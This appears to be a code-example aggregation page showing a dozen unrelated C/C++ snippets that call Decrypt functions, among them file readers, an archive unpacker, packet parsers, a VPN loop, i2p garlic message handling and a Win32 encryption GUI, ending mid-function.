Example #1
0
/***
	Read bytes from a file to a buffer.
	Parameters:
		- pvBuf: User buffer. Contains the result of a read.
		- tsSize: Size of iten to read
		- tsNumItens: Number of itens to read
	Return:
		- O numero de itens lidos (nao o numero de bytes). Em caso
		de erro: E_NOTOPEN or E_BUFFNULL or EOF.
***/
size_t
C_File::Read( void FAR *pvBuf, size_t tsSize, size_t tsNumItens )
{
	C_FileCritSect	cCS0( this, CRITSECT0 );
	int iFlag = FALSE;
	if( !pvBuf ){
		return( (size_t) E_BUFFNULL );
	}
	if( (_bIs32s && iFile == -1) || (!_bIs32s && hFile == INVALID_HANDLE_VALUE) ){
		if( ReOpen() != OK ){
			if( !_xFile ){
				return( 0 );
			}
			_xFile->PseudoClose();
			ReOpen();
			iFlag = TRUE;
		}
	}
	// MMF
	BOOL	bReadHeader = FALSE;
	if( !_bIs32s && hMMF ){
		// preparar leitura a partir do MMF
		if( (CurPos() == iHeadInit)  && ((int) tsSize == iHeadSize) ){
			bReadHeader = TRUE;
			// vamos fazer read no header do arquivo.
			if( !pHeadView ){
				// o header ainda nao esta' mapeado. vamos fazer isso.
				CreateViewOfHead();
			}
		} else {
			if( !pWinView ){
				// o arquivo ainda nao esta' mapeado. vamos fazer isso.
				CreateViewOfFile();
			}
		}
	}

	for( size_t i = 0; i < tsNumItens; i++ ){
		if( _bIs32s ){
			if( read( iFile, ( char *) pvBuf + tsSize * i, tsSize ) < (int) tsSize ){
				break;
			}
		} else {
			if( bReadHeader ){
				// ler header a partir do MMF.
				memcpy( pvBuf, pHeadView, tsSize );
			} else {
				if( pWinView ){
					// ler a partir do MMF.
					int	iNumBytes = ((iMMFWinSize * iPageSize) - iSeekWin) - (iHeadSize + 1);
					memcpy( (void*) (( char *) pvBuf + tsSize * i), (void*) ((char*) PWINVIEW + iSeekWin), 
							min( iNumBytes, ((int) tsSize) ) );
					if( iNumBytes < ((int) tsSize) ){
						// precisamos mapear outra janela e continuar a leitura
						++iWinNum;	// proxima janela
						CreateViewOfFile();
						if( !pWinView ){
							// mapeamento nao foi feito. vamos assumir fim-de-arquivo.
							break;
						}
						// ler o restante
						memcpy( (void*) ((( char *) pvBuf + tsSize * i) + iNumBytes), (void*) ((char*) PWINVIEW + iSeekWin), 
								(tsSize - iNumBytes) );

						iSeekWin += (tsSize - iNumBytes);
					} else {
						iSeekWin += tsSize;
					}
				} else {
					// ler direto do arquivo
					DWORD	dwReadBytes;
					BOOL	bResult = ReadFile( hFile, ( char *) pvBuf + tsSize * i, tsSize, &dwReadBytes, NULL );
					if( !bResult || ( dwReadBytes  < tsSize ) ){
						break;
					}
				}
			}
		}
	}
	dwLastUse = GetTickCount();
	if( cCriptoOn && i >= tsNumItens ){
		Decrypt( pvBuf, szKey, tsSize * tsNumItens );
	}
	if( i < tsNumItens ){
		i = (size_t) EOF;
	}
	if( iFlag ){
		PseudoClose();
		_xFile->ReOpen();
	}
	return( i );
}
Example #2
0
/// Mount
///
/// @param archive Archive
///
bool CPaz::Mount(CArcFile* archive)
{
	if (archive->GetArcExten() != _T(".paz"))
		return false;

	// Initialize Mount Key
	InitMountKey(archive);

	// Initialize Table
	InitTable();

	// Decode Table
	DecodeTable1();
	DecodeTable2();

	// Get index size
	u32 index_size;
	archive->ReadU32(&index_size);
	Decrypt(reinterpret_cast<u8*>(&index_size), sizeof(index_size));

	// Get index
	size_t index_ptr = 0;
	std::vector<u8> index(index_size);
	archive->Read(index.data(), index.size());

	// Decode Index
	Decrypt(index.data(), index.size());
	DecodeData(index.data(), index.size());

	// Get file count
	const u32 files = *reinterpret_cast<const u32*>(&index[0]);
	index_ptr += 4;

	// Initialization table for decoding movies
	if (archive->GetArcName() == _T("mov.paz"))
	{
		index_ptr += InitMovieTable(&index[index_ptr]);
	}

	// Get file info
	for (u32 i = 0; i < files; i++)
	{
		// Get file name
		TCHAR file_name[_MAX_FNAME];
		lstrcpy(file_name, reinterpret_cast<LPCTSTR>(&index[index_ptr]));
		index_ptr += lstrlen(file_name) + 1;

		// Add .ogg extension if voice.paz (Don't know why they don't have extensions)

		if (archive->GetArcName().Left(5) == _T("voice"))
		{
			if (lstrcmp(PathFindExtension(file_name), _T("")) == 0)
			{
				lstrcat(file_name, _T(".ogg"));
			}
		}

		const u32 type = *reinterpret_cast<const u32*>(&index[index_ptr + 20]);

		// Add to list view
		SFileInfo file_info;
		file_info.name       = file_name;
		file_info.sizeOrg    = type == 1 ? *reinterpret_cast<const u32*>(&index[index_ptr + 8]) : *reinterpret_cast<const u32*>(&index[index_ptr + 12]);
		file_info.dwSizeOrg2 = *reinterpret_cast<const u32*>(&index[index_ptr + 16]);
		file_info.sizeCmp    = type == 1 ? *reinterpret_cast<const u32*>(&index[index_ptr + 16]) : file_info.sizeOrg;
		file_info.start      = *reinterpret_cast<const u32*>(&index[index_ptr + 0]);
		file_info.end        = file_info.start + file_info.sizeCmp;

		if (type == 1)
		{
			file_info.format = _T("zlib");
		}

		archive->AddFileInfo(file_info);

		index_ptr += 24;
	}

	return true;
}
Example #3
0
BOOL CXmlFileEx::Decrypt(LPCTSTR szPassword)
{
	if (!IsEncrypted())
		return TRUE; // nothing to do
    
	// we don't try to decrypt if no encryption capabilities
	if (!CanEncrypt())
	{
		m_nFileError = XFL_NOENCRYPTIONDLL;
		return FALSE;
	}
	
	// use existing password if required
	if (!szPassword)
		szPassword = m_sPassword;

	CXmlItem* pXI = GetEncryptedBlock();
    
	if (pXI && !pXI->GetSibling())
	{
		// else keep getting password till success or user cancels
		while (TRUE)
		{
			CString sPassword(szPassword);
			
			if (sPassword.IsEmpty())
			{
				CString sExplanation(s_sPasswordExplanation);

				if (sExplanation.Find(_T("%s")) != -1)
					sExplanation.Format(s_sPasswordExplanation, GetFileName());
				
				if (!CPasswordDialog::RetrievePassword(FALSE, sPassword, sExplanation))
				{
					// RB - Set m_nFileError to avoid "The selected task list could not be opened..." message when cancelling
					m_nFileError = XFL_CANCELLED;
					return FALSE;
				}
			}
			
			CString sFile;
			
			if (Decrypt(pXI->GetValue(), sFile, sPassword))
			{
				m_sPassword = sPassword;
				
				sFile.TrimLeft();
				sFile.TrimRight();
				sFile = _T("<ROOT>") + sFile + _T("</ROOT>");
				
				// delete the cdata item
				m_xiRoot.DeleteItem(pXI);
				
				try
				{
					CXmlDocumentWrapper doc;
					
					// reparse decrypted xml
					if (doc.LoadXML(sFile))
					{
						CXmlNodeWrapper node(doc.AsNode());
						
						return ParseItem(m_xiRoot, &node);
					}
				}
				catch (...)
				{
					m_nFileError = XFL_BADMSXML;
				}
				
				return FALSE;
			}
			// RB - Added code to format the error message before calling AfxMessage
			else
			{
				CEnString sMessage(s_sDecryptFailed, GetFileName());

				if (IDNO == AfxMessageBox(sMessage, MB_YESNO))
				{
					m_nFileError = XFL_CANCELLED;
					return FALSE;
				}
				// else user will try again
			}
		}
	}
    
	// else
	m_nFileError = XFL_UNKNOWNENCRYPTION;
	return FALSE;
}
Example #4
0
uint8 CPacketParse::WebSocketDisposeDataIn(_WebSocketInfo* pWebSocketInfo, ACE_Message_Block* pCurrMessage, IMessageBlockManager* pMessageBlockManager)
{
	//处理数据包
	char* pData   = pCurrMessage->rd_ptr();     //得到这个数据块的首字节
	uint32 u4Data = pCurrMessage->length();     //得到这个数据块的长度
	uint32 u4PacketLen = 0;
	uint8 u1Ret        = (uint8)PACKET_GET_ERROR;  

	//将收到的数据粘入缓冲等待做切包处理
	if(pWebSocketInfo->m_u4DataLength + u4Data > MAX_ENCRYPTLENGTH)
	{
		OUR_DEBUG((LM_ERROR, "[CPacketParse::WebSocketDisposeHandIn]pWebSocketInfo is full.\n"));
		return (uint8)PACKET_GET_ERROR;
	}

	memcpy_safe(pData, u4Data, (char* )&pWebSocketInfo->m_szData[pWebSocketInfo->m_u4DataLength], u4Data);
	pWebSocketInfo->m_u4DataLength += u4Data;

	//解析规则约定为
	//<命令字>,<数据包长度><数据包体>

	//首先解密数据包,最大解密数据包是5K
	//如果再大,则扩展这个大小
	if(pWebSocketInfo->m_u4DecryptDataLen + pWebSocketInfo->m_u4DataLength > MAX_DECRYPTLENGTH)
	{
		OUR_DEBUG((LM_ERROR, "[CPacketParse::WebSocketDisposeHandIn]m_u4DecryptDataLen is full.\n"));
		return (uint8)PACKET_GET_ERROR;
	}

	char* pDecryptData = (char* )&pWebSocketInfo->m_szDecryptData[pWebSocketInfo->m_u4DecryptDataLen];
	uint32 u4DecryptLen = MAX_DECRYPTLENGTH;
	uint32 u4OriPacketLen = pWebSocketInfo->m_u4DataLength;
	u1Ret = Decrypt(pWebSocketInfo->m_szData, u4OriPacketLen, pDecryptData, u4DecryptLen);
	if(u1Ret != (uint8)PACKET_GET_ENOUGTH)
	{
		return u1Ret;
	}

	pWebSocketInfo->m_u4DecryptDataLen += u4DecryptLen;

	//如果接受字节少于9个,则认为包头不完整
	if(u4Data < 9)
	{
		return (uint8)PACKET_GET_NO_ENOUGTH;
	}

	//已经解析出完整数据包,判断是否有后续数据包的部分数据
	if(pWebSocketInfo->m_u4DataLength > u4OriPacketLen)
	{
		//有后续的数据包,在这里需要处理一下
		pWebSocketInfo->m_u4DataLength -= u4OriPacketLen;

		memcpy_safe((char* )&pWebSocketInfo->m_szData[u4OriPacketLen], pWebSocketInfo->m_u4DataLength, (char* )&pWebSocketInfo->m_szData, pWebSocketInfo->m_u4DataLength);
	}
	else
	{
		pWebSocketInfo->m_u4DataLength = 0;
	}
	
	//接收到了完整的数据包,开始处理数据
	//获得当前包ID和包长
	uint32 u4CurrDecryptDataLen = pWebSocketInfo->m_u4DecryptDataLen;
	u1Ret = ReadDataPacketInfo(pWebSocketInfo->m_szDecryptData, u4CurrDecryptDataLen, m_u2PacketCommandID, u4PacketLen);
	if(u1Ret == PACKET_GET_ENOUGTH)
	{
		//申请一个包头,记录当前包的所有长度
		m_pmbHead = pMessageBlockManager->Create(sizeof(uint32));
		if(NULL == m_pmbHead)
		{
			return (uint8)PACKET_GET_ERROR;
		}

		//去掉包头,只留数据体在包体内
		char* pInfo = (char* )ACE_OS::strstr(pWebSocketInfo->m_szDecryptData, "{");
		if(NULL == pInfo)
		{
			//如果找不到大括号,说明数据包异常,断开这个链接
			return (uint8)PACKET_GET_ERROR;
		}

		uint32 u4NetPacketLen = u4CurrDecryptDataLen - (uint32)(pInfo - pWebSocketInfo->m_szDecryptData);
		memcpy_safe((char*)&u4NetPacketLen, (uint32)sizeof(uint32), (char* )m_pmbHead->wr_ptr(), (uint32)sizeof(uint32));
		m_pmbHead->wr_ptr(sizeof(uint32));

		//获得包体
		m_pmbBody = pMessageBlockManager->Create(u4NetPacketLen);
		if(NULL == m_pmbBody)
		{
			return PACKET_GET_ERROR;
		}

		memcpy_safe((char*)pInfo, u4NetPacketLen, (char* )m_pmbBody->wr_ptr(), u4NetPacketLen);
		m_pmbBody->wr_ptr(u4NetPacketLen);

		//处理完的数据从块中移除
		pCurrMessage->reset();

		//如果有剩余数据,则再让系统判定一下
		if(pWebSocketInfo->m_u4DataLength > 0)
		{
			pCurrMessage->size((size_t)pWebSocketInfo->m_u4DataLength);
			memcpy_safe(pWebSocketInfo->m_szData, pWebSocketInfo->m_u4DataLength, (char* )pCurrMessage->wr_ptr(), pWebSocketInfo->m_u4DataLength);
			pCurrMessage->wr_ptr(pWebSocketInfo->m_u4DataLength);
			pWebSocketInfo->m_u4DataLength = 0;
		}

		//如果解析包还有内容,则再放回去
		pWebSocketInfo->m_u4DecryptDataLen -= u4CurrDecryptDataLen;
		if(pWebSocketInfo->m_u4DecryptDataLen > 0)
		{
			memcpy_safe((char* )&pWebSocketInfo->m_szDecryptData[u4CurrDecryptDataLen],
				pWebSocketInfo->m_u4DecryptDataLen,
				pWebSocketInfo->m_szDecryptData,
				pWebSocketInfo->m_u4DecryptDataLen);
		}

		return (uint8)PACKET_GET_ENOUGTH;
	}
	else
	{
		return u1Ret;
	}

}
Example #5
0
int main(int argc, char* argv[])
{

if (argc >= 2) {


	LOGIT = false;

	PrintLog((DEST,"%s",WindowsName[WhatWindowsVer()]));
	WinVer();

	InitVars(CSP_NAME, &iWinVer, &iCryptVer, &MAXKEYLEN);

	if (WhatWindowsVer() >= WINXP)
		CSP_NAME[0] = '\0';
	else
		strcpy(CSP_NAME,MS_ENHANCED_PROV);

	DebugLog((DEST,"CSP=%s WinVer=%d CryptVer=%d MaxKeyLen=%d",CSP_NAME, iWinVer, iCryptVer, MAXKEYLEN));

	iProv = arProv[iProv];

	switch(argv[1][1])   // second character of the first parameter -e = 'e'
	{
	case 'e':
		Encrypt(argv[2],argv[3], argv[4]);
		break;
	case 'd':
		Decrypt(argv[2],argv[3], argv[4]);
		break;
	case 'k':
		CreateKey(argv[2], MAXKEYLEN);
		break;
	case 'l':
		ListProviders();
		break;
	case 'x':
		WriteDebugInfo();
		break;
	case 'v':
		Version();
		break;
	case 'r':
		LOGIT = true;
		DEBUGIT = true;
		if (argc == 3)
			DeleteContainer(argv[2]);
		else
			DeleteContainer(CTX);
		LOGIT = false;
		DEBUGIT = false;
		break;
	case 'c':
		LOGIT = true;
		DEBUGIT = true;
		if (argc == 3)
			CreateContainer(argv[2]);
		else
			CreateContainer(CTX);
		LOGIT = false;
		DEBUGIT = false;
		break;
	default:
		Usage();
		break;
	}
}
else
	Usage();

return(0);

}
Example #6
0
	void CLinkerPipe::RevOneMsg(eElectron& E){
		ePipeline* Msg = (ePipeline*)E.Get();
		
		Msg = Decrypt(Msg);

        //  Msg->AutoTypeAB();
		
		int64 ID = Msg->GetID();
        if (ID < 100) //内部控制信息
        {
			assert(ID == LINKER_FEEDBACK);
            if (ID != LINKER_FEEDBACK)
            {
				ePipeline Info;
				Info.Push_Directly(E.Release());
				m_Parent->NotifyLinkerState(this,LINKER_ILLEGAL_MSG,Info);
				return;
            }

			if(m_PendingMsgID==NULL){
				return;
			}
			
			if(m_SendState == SEND_MSG){ 
				m_SendState = WAIT_MSG;
			}

			int32 RevResult   = Msg->PopInt();
 
			if (RevResult == RECEIVE_ERROR)
			{						
				//先发送一个重置接收信息,以便对方能从错误接收状态下恢复
				ePipeline*  Pipe = new ePipeline((uint64)LINKER_RESET);

                ePipeline Info;
				Info.PushInt(LINKER_FEEDBACK);
				Info.PushInt(RevResult);
				Info.PushInt(m_PendingMsgID);
				m_Parent->NotifyLinkerState(this,LINKER_MSG_RECEIVED,Info);
				
				m_PendingMsgID = 0;//取消未决信息,让本连接能继续发送
				m_PendMsgSenderID = 0;

				FeedbackDirectly(Pipe);

			}else{
				int64 TimeStamp   = Msg->PopInt();
				int64 ReceiverID  = Msg->PopInt();

				assert(m_PendMsgSenderID == ReceiverID);
				//assert(m_PendingMsg->GetID() == TimeStamp); 可能在m_CurSendMsg.Reset()时被delete
			
                ePipeline Info;
				Info.PushInt(LINKER_FEEDBACK);
				Info.PushInt(RevResult);
				Info.PushInt(m_PendingMsgID);
				m_Parent->NotifyLinkerState(this,LINKER_MSG_RECEIVED,Info);

				m_PendingMsgID = 0;//取消未决信息,让本连接能继续发送
				m_PendMsgSenderID = 0;
			}
       } 
       else
       {

			Msg->AutoTypeAB();
			if(Msg->GetTypeAB() != 0x44400000){ //格式不正确,丢弃
				ePipeline Info;
				Info.Push_Directly(E.Release());
				m_Parent->NotifyLinkerState(this,LINKER_ILLEGAL_MSG,Info);
				return;
			}
			
			CMsg m((ePipeline*)E.Release()); //包装成标准封装格式的信息
			int64 SenderID = m.GetSenderID();
		
			int64 MsgID = m.GetMsgID();

			//首先用对方的时间戳和发信者回复一个OK
			int64 TimeStamp = Msg->GetID();	
			ePipeline* rMsg = new ePipeline(LINKER_FEEDBACK);
			rMsg->PushInt(RECEIVE_OK);
			rMsg->PushInt(TimeStamp);
			rMsg->PushInt(SenderID);
			
			FeedbackDirectly(rMsg);

			ePipeline& Receiver = m.GetReceiver(); 
			
			//assert(Receiver.Size()==0); 缺省的MSG_DIALOG_NOTIFY接受者地址size=2 

			//把接收者ID转换成本地地址
			ePipeline LocalAddress;
			bool ret = ReceiverID2LocalAddress(Receiver,LocalAddress);
			if (!ret)
			{
				ePipeline Info;
				Info.Push_Directly(m.Release());
				m_Parent->NotifyLinkerState(this,LINKER_INVALID_ADDRESS,Info);
				return;
			}
			
			
			m.SetSourceID(m_SourceID);
			m.GetReceiver() << LocalAddress;	
			m_Parent->PushCentralNerveMsg(m);			
        }

    }
void MainLoop(int& socket_fd)
{
    NetworkInfo network_info;
    network_info.m_socket_fd = socket_fd;
    if (g_request_status)
    {
        network_info.SetBuffer("STATUS",6);
        network_info.m_available_bytes = network_info.m_remaining_bytes = 6;
        if (!StartSendBuffer(network_info) || 0!=network_info.m_remaining_bytes)
            return;

        network_info.SetBuffer(g_network_buffer,NETWORK_BUFFER_LENGTH);
        if (!StartRecvBuffer(network_info))
            return;

        while (0<network_info.LeftToParse())
        {
            std::string str(network_info.const_buf(), network_info.m_available_bytes);
            network_info.m_parsed_pos = network_info.m_available_bytes;
            fprintf(stdout, "%s", str.c_str());

            if (!ContinueRecvBuffer(network_info))
                return;
        }
    }
    else
    {
        network_info.SetBuffer("NEW",3);
        network_info.m_available_bytes = network_info.m_remaining_bytes = 3;
        if (!StartSendBuffer(network_info) || 0!=network_info.m_remaining_bytes)
            return;

        network_info.SetBuffer(g_network_buffer,NETWORK_BUFFER_LENGTH);
        if (!StartRecvBuffer(network_info) ||
                !ParseWordlist(network_info) || 0<network_info.m_remaining_bytes)
        {
            return;
        }

        if (!StartRecvBuffer(network_info) ||
                !ParseEncryptedText(network_info) || 0<network_info.m_remaining_bytes)
        {
            return;
        }

        while (true)
        {
            network_info.SetBuffer(g_network_buffer,NETWORK_BUFFER_LENGTH);
            if (!StartRecvBuffer(network_info) ||
                    !ParseSetting(network_info) || 0<network_info.m_remaining_bytes)
            {
                break;
            }

            close(socket_fd);
#ifdef DEBUG
            fprintf(stderr, "Closed socket %d\n", socket_fd);
#endif
            socket_fd = -1;

            if (g_done)
            {
                break;
            }

#if 1
            FindBestICScores();

            uint32_t best_optimized_ngram_score=0;
            KeySetting best_ring_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
            KeySetting best_key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
            Plugboard best_plugboard;

            size_t i;
            for (i=0; i<IC_RESULTS_SIZE; i++)
            {
                const uint8_t* ring_settings = g_ic_results[i].m_ring_setting->GetSettings();

                KeySetting tmp_key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
                tmp_key_setting = *g_ic_results[i].m_key_setting;

                PrecalcPlugPaths(ring_settings, tmp_key_setting);

                //Initialize plugboard
                Plugboard plugboard;
                plugboard.Initialize();

                uint32_t local_ngram_score = 0;
                while (OptimizeScore(plugboard, g_decrypt_buffer, local_ngram_score));

                if (local_ngram_score > best_optimized_ngram_score)
                {
                    best_optimized_ngram_score = local_ngram_score;
                    best_ring_setting.InitializeStartPosition(*g_ic_results[i].m_ring_setting);
                    best_key_setting = *g_ic_results[i].m_key_setting;
                    best_plugboard = plugboard;
                }
            }
#else
            //Calculate
            KeySetting best_ring_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
            KeySetting best_key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
            Plugboard best_plugboard;
            uint32_t best_optimized_ngram_score = 0;
            Calculate(best_ring_setting, best_key_setting, best_plugboard, best_optimized_ngram_score);
#endif
            //Create socket, send result, loop and read next packet info
            socket_fd = CreateSocket(g_hostname, g_port);
            if (-1 == socket_fd)
            {
                fprintf(stderr, "Connecting to server failed\n");
                return;
            }
#ifdef DEBUG
            fprintf(stderr, "Created socket %d\n", socket_fd);
#endif

            std::string plugboard_str;
            best_plugboard.ToString(plugboard_str, false);

            std::string decrypted_text_str;
            Decrypt(best_ring_setting.GetSettings(), best_key_setting, best_plugboard, g_decrypt_buffer);
            DecryptedString(decrypted_text_str, g_decrypt_buffer);

            sprintf(network_info.buf(), "DONE %d %d %d %s ", g_reflector_ring_settings->ToInt(),
                    best_optimized_ngram_score, best_key_setting.ToInt(best_ring_setting), plugboard_str.c_str());
            network_info.m_available_bytes = strlen(network_info.const_buf());
            network_info.m_remaining_bytes = network_info.m_available_bytes+decrypted_text_str.length();
            if (!StartSendBuffer(network_info))
            {
                return;
            }

            network_info.SetBuffer(decrypted_text_str.c_str(), decrypted_text_str.length());
            network_info.m_available_bytes = decrypted_text_str.length();
            if (!ContinueSendBuffer(network_info) || 0!=network_info.m_remaining_bytes)
            {
                return;
            }
        }
    }
}
Example #8
0
static void *svpn_handle_thread(void *pvoid) {
	struct svpn_client *psc = (struct svpn_client*)pvoid;

	struct sockaddr_in addr;
	socklen_t alen = sizeof(addr);
	unsigned char buffer[BUFFER_LEN], tmp_buffer[BUFFER_LEN];
//	struct timeval tv;
	fd_set fd_list;
	int maxfd = (psc->sock_fd > psc->tun_fd) ? psc->sock_fd : psc->tun_fd;
	int ret, len;
	++maxfd;
	int recvc = 0, sendc = 0;

//	tv.tv_sec = 0;
//	tv.tv_usec = 0;
	while(1) {
		FD_ZERO(&fd_list);
		FD_SET(psc->tun_fd, &fd_list);
		FD_SET(psc->sock_fd, &fd_list);
		ret = select(maxfd, &fd_list, NULL, NULL, NULL);
		if(ret < 0) {
			if(errno == EINTR) {
				return NULL;
			}
			continue;
		}
		if(FD_ISSET(psc->tun_fd, &fd_list)) {
			len = read(psc->tun_fd, tmp_buffer, BUFFER_LEN);

			++sendc;

			len -= 4;
			printf("send : %d total:%d\n", len, sendc);
			if(len < 0) {
			//printf("nothing in send\n");
				continue;
			}

			Encrypt(&(psc->table), tmp_buffer + 4, buffer, len);
//			printf("header?0x%08x\n", *(int*)tmp_buffer);

			len = sendto(psc->sock_fd, buffer, len, 0,
					(struct sockaddr*)&(psc->server_addr), sizeof(psc->server_addr));
	
		}
		if(FD_ISSET(psc->sock_fd, &fd_list)) {
			len = recvfrom(psc->sock_fd, tmp_buffer, BUFFER_LEN, 0,
					(struct sockaddr*)&addr, &alen);
			++recvc;
			printf("recv : %d total:%d\n", len, recvc);
			if(len < 0) {
				continue;
			}
			memset(buffer, 0, 4);
			*(int*)buffer = 0x02000000;
			Decrypt(&(psc->table), tmp_buffer, buffer + 4, len);
			len += 4;
			len = write(psc->tun_fd, buffer, len);
//			printf("write:%d\n", len);
		}

	}
	return NULL;
}
Example #9
0
int CLoginAccountList::_fread(void * lpBuf, int nSize, int nCount, FILE * fp)
{
	int nRet = fread(lpBuf, nSize, nCount, fp);
	Decrypt((char *)lpBuf, nSize*nCount);
	return nRet;
}
Example #10
0
	void GarlicDestination::HandleGarlicMessage (std::shared_ptr<I2NPMessage> msg)
	{
		uint8_t * buf = msg->GetPayload ();
		uint32_t length = bufbe32toh (buf);
		if (length > msg->GetLength ())
		{
			LogPrint (eLogError, "Garlic message length ", length, " exceeds I2NP message length ", msg->GetLength ());
			return;
		}	
		buf += 4; // length
		auto it = m_Tags.find (SessionTag(buf));
		if (it != m_Tags.end ())
		{
			// tag found. Use AES
			if (length >= 32)
			{	
				uint8_t iv[32]; // IV is first 16 bytes
				CryptoPP::SHA256().CalculateDigest(iv, buf, 32);
				it->second->SetIV (iv);
				it->second->Decrypt (buf + 32, length - 32, buf + 32);
				HandleAESBlock (buf + 32, length - 32, it->second, msg->from);
			}	
			else
				LogPrint (eLogError, "Garlic message length ", length, " is less than 32 bytes");
			m_Tags.erase (it); // tag might be used only once	
		}
		else
		{
			// tag not found. Use ElGamal
			ElGamalBlock elGamal;
			if (length >= 514 && i2p::crypto::ElGamalDecrypt (GetEncryptionPrivateKey (), buf, (uint8_t *)&elGamal, true))
			{	
				auto decryption = std::make_shared<i2p::crypto::CBCDecryption>();
				decryption->SetKey (elGamal.sessionKey);
				uint8_t iv[32]; // IV is first 16 bytes
				CryptoPP::SHA256().CalculateDigest(iv, elGamal.preIV, 32); 
				decryption->SetIV (iv);
				decryption->Decrypt(buf + 514, length - 514, buf + 514);
				HandleAESBlock (buf + 514, length - 514, decryption, msg->from);
			}	
			else
				LogPrint (eLogError, "Failed to decrypt garlic");
		}

		// cleanup expired tags
		uint32_t ts = i2p::util::GetSecondsSinceEpoch ();
		if (ts > m_LastTagsCleanupTime + INCOMING_TAGS_EXPIRATION_TIMEOUT)
		{
			if (m_LastTagsCleanupTime)
			{
				int numExpiredTags = 0;
				for (auto it = m_Tags.begin (); it != m_Tags.end ();)
				{
					if (ts > it->first.creationTime + INCOMING_TAGS_EXPIRATION_TIMEOUT)
					{
						numExpiredTags++;
						it = m_Tags.erase (it);
					}	
					else
						it++;
				}
				LogPrint (numExpiredTags, " tags expired for ", GetIdentHash().ToBase64 ());
			}	
			m_LastTagsCleanupTime = ts;
		}	
	}	
Example #11
0
LRESULT CALLBACK WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)

{

  switch(Msg)
  {
	
////////////////////////////////WM_CREATE////////////////////////////////
	case WM_CREATE:
		{	
			
		ENC		=	CreateWindow("Button","E    N    C    R    Y    P    T",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,2,220,215,25,hWnd,(HMENU)ID_ENC,hInst,0);
		
		DEC		=	CreateWindow("Button","D    E    C    R    Y    P    T",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,225,220,215,25,hWnd,(HMENU)ID_DEC,hInst,0);

		KEY		=	CreateWindow("Button","Key...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,20,150,60,22,hWnd,(HMENU)ID_KEY,hInst,0);

		KEY2	=	CreateWindow("Button","Key...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,360,150,60,22,hWnd,(HMENU)ID_KEY,hInst,0);

		INF		=	CreateWindow("Button","InFile...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,20,40,60,22,hWnd,(HMENU)ID_INF,hInst,0);

		INF2	=	CreateWindow("Button","InFile...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,360,40,60,22,hWnd,(HMENU)ID_INF,hInst,0);
		
		OUF		=	CreateWindow("Button","OutFile...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,20,95,60,22,hWnd,(HMENU)ID_OUF,hInst,0);

		OUF2	=	CreateWindow("Button","OutFile...",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,360,95,60,22,hWnd,(HMENU)ID_OUF,hInst,0);

		E1		=	CreateWindow("Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER ,85,40,270,22,hWnd,(HMENU)ID_E1,hInst,0);
		
		E2		=	CreateWindow("Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER ,85,95,270,22,hWnd,(HMENU)ID_E2,hInst,0);

		E3		=	CreateWindow("Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER ,85,150,270,22,hWnd,(HMENU)ID_E3,hInst,0);

		break;
		}
////////////////////////////////WM_CREATE////////////////////////////////

////////////////////////////////WM_COMMAND////////////////////////////////
  
	case WM_COMMAND:
		{
			
			switch(HIWORD(wParam))
			
				{
			
				case BN_CLICKED:
				
					switch(LOWORD(wParam))
				
						{
				
						case ID_ENC:
					
						{
						
							Encrypt();
							break;
						}
				
						case ID_DEC:
						
						{
							Decrypt();	
							break;
						}
				
				
						case ID_INF:
						
						{
							InFileOpen();			
							break;
						}
				
						case ID_OUF:
						
						{
							OutFileOpen();
							break;
						}
			
						case ID_KEY:
						{
							KeyFileOpen();
							break;
						}
				
						case ID_ABOUT:
						{
							DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUT), NULL, (DLGPROC)DlgAboutProc );
							break;
						}
				
						case IDM_EXIT:
						{
							Exit();
							break;	
						}

					
						}//switch(LOWORD(wParam))
				
					}//switch(HIWORD(wParam))
				break;
			}
	
////////////////////////////////WM_COMMAND////////////////////////////////	
	

////////////////////////////////WM_DESTROY//////////////////////////////// 	

	case WM_DESTROY:
		{
			PostQuitMessage(0);
			break;
		}

////////////////////////////////WM_DESTROY//////////////////////////////// 

		
////////////////////////////////WM_KEYDOWN////////////////////////////////  
  
	case WM_KEYDOWN:
		{

			switch (wParam)
				{
					case VK_ESCAPE:
					{
					PostQuitMessage(0);
					break;
					}
				}
		break;
		}
	
////////////////////////////////WM_KEYDOWN//////////////////////////////// 
  
	
	
////////////////////////////////WM_TIMER//////////////////////////////// 	
	
	case WM_TIMER:
		{
    		ShowWindow(SPL,SW_HIDE);
			KillTimer(hWnd,1);
			break;
		}
	
////////////////////////////////WM_TIMER//////////////////////////////// 
	
	
	
	}//switch(Msg)

 

  return DefWindowProc(hWnd,Msg,wParam,lParam);

}
Example #12
0
DWORD Encryption::TraverseFile(TCHAR * pFolderPath)
{
    WIN32_FIND_DATA ffd;
    TCHAR szDir[MAX_PATH];
    size_t length_of_arg;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    DWORD dwError=0;
    // Check that the input path plus 2 is not longer than MAX_PATH.
    StringCchLength(pFolderPath, MAX_PATH, &length_of_arg);
    if (length_of_arg > (MAX_PATH - 2))
        return dwError;
    // Prepare string for use with FindFile functions.  First, copy the
    // string to a buffer, then append '\*' to the directory name.
    StringCchCopy(szDir, MAX_PATH, pFolderPath);
    StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
    // Find the first file in the directory.
    hFind = FindFirstFile(szDir, &ffd);
    if (INVALID_HANDLE_VALUE == hFind)
    {
        ErrorHandler(TEXT("FindFirstFile"));
        return dwError;
    }
    do
    {
        if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            if ( (strcmp(ffd.cFileName, TEXT(".")) != 0 ) && (strcmp(ffd.cFileName, TEXT("..")) != 0))
            {
                TCHAR newFolderPath[MAX_PATH];
                StringCchCopy(newFolderPath, MAX_PATH, pFolderPath);
